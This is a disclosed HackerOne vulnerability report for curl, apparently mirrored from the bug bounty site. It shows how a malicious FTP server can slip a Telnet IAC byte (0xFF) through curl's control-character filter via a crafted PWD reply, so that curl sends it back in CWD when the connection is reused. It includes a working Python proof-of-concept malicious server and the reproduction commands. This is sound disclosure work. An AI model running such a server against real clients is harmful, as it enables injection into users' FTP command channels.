HexBrain

curl · Report #3650473

FTP entrypath accepts 0xFF (Telnet IAC) through incomplete ISCNTRL filter, sent on wire via CWD on connection reuse

N/Astatus
10upvotes
7 Apr 2026disclosed

How it was found

Summary

A malicious FTP server can embed byte 0xFF (Telnet IAC) in the PWD response path. The ISCNTRL() filter at lib/ftp.c:3095 expands to ISLOWCNTRL(x) || IS7F(x), which is ((unsigned char)(x) <= 0x1f) || ((x) == 0x7f) (defined at lib/curl_ctype.h:30-37). (unsigned char)(0xFF) is 255, so ISCNTRL(0xFF) evaluates FALSE. The byte is stored in ftpc->entrypath (line 3131) and sent verbatim via CWD %s on connection reuse (line 849).

I understand the KNOWN_RISK.md and libcurl-security.md mentions the Remote attacker already present and malicious FTP server risks but I also saw that https://curl.se/docs/CVE-2020-8284.html and wasn't really able to differentiate hence submitting this report.

import socket, threading
def data_serve():
    s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('127.0.0.1', 2122)); s.listen(5)
    while True:
        c, _ = s.accept(); c.sendall(b"-rw-r--r-- 1 ftp ftp 0 Jan 1 00:00 x\r\n"); c.close()
threading.Thread(target=data_serve, daemon=True).start()
def serve():
    s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('127.0.0.1', 2121)); s.listen(1); c, _ = s.accept()
    c.sendall(b"220 ok\r\n")
    while True:
        d = c.recv(4096)
        if b"USER" in d: c.sendall(b"331 ok\r\n")
        elif b"PASS" in d: c.sendall(b"230 ok\r\n")
        elif b"PWD" in d: c.sendall(b'257 "/evil\xff/dir"\r\n')
        elif b"CWD" in d:
            print(f"CWD received: {d!r}"); c.sendall(b"250 ok\r\n")
        elif b"EPSV" in d: c.sendall(b"229 Entering Extended Passive Mode (|||2122|)\r\n")
        elif b"TYPE" in d: c.sendall(b"200 ok\r\n")
        elif b"LIST" in d: c.sendall(b"150 ok\r\n226 ok\r\n")
        elif b"QUIT" in d: c.sendall(b"221 ok\r\n"); break
        else: c.sendall(b"500 ok\r\n")
    c.close(); s.close()
serve()

Affected version

Tested on both macOS (Darwin) and Linux (Docker):

curl 8.20.0-DEV (Darwin) libcurl/8.20.0-DEV OpenSSL/3.6.1 zlib/1.2.12 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 nghttp2/1.68.0
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz SSL threadsafe TLS-SRP UnixSockets zstd

Git HEAD 38b626e790. Also confirmed on 8.19.0 stable (Linux).

Steps To Reproduce

  1. Run the Python script above in one terminal.

  2. In another terminal, make two requests on the same connection:

./curl -v --ftp-pasv ftp://anonymous:[email protected]:2121/ ftp://anonymous:[email protected]:2121/sub/
  1. Verbose output shows curl accepting the path and reusing the connection:
< 257 "/evilÿ/dir" is current directory
* Entry path is '/evilÿ/dir'
...
* Reusing existing ftp: connection with host 127.0.0.1
> CWD /evilÿ/dir
  1. The Python server prints: CWD received: b'CWD /evil\xff/dir\r\n' — literal 0xFF at byte offset 9.

The CWD to entrypath only fires on connection reuse (gated by data->conn->bits.reuse && ftpc->entrypath at line 841). The entire range 0x80-0xFF passes the ISCNTRL filter, including 0xFF which is the Telnet IAC (Interpret As Command) byte. FTP's control channel is built on Telnet, so a Telnet-aware intermediary (FTP proxy, ALG, protocol-level firewall) may interpret the 0xFF as a Telnet escape sequence.

Impact

A malicious FTP server injects Telnet IAC bytes into the FTP command channel via a crafted PWD path, which curl stores and sends back verbatim in CWD on connection reuse.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original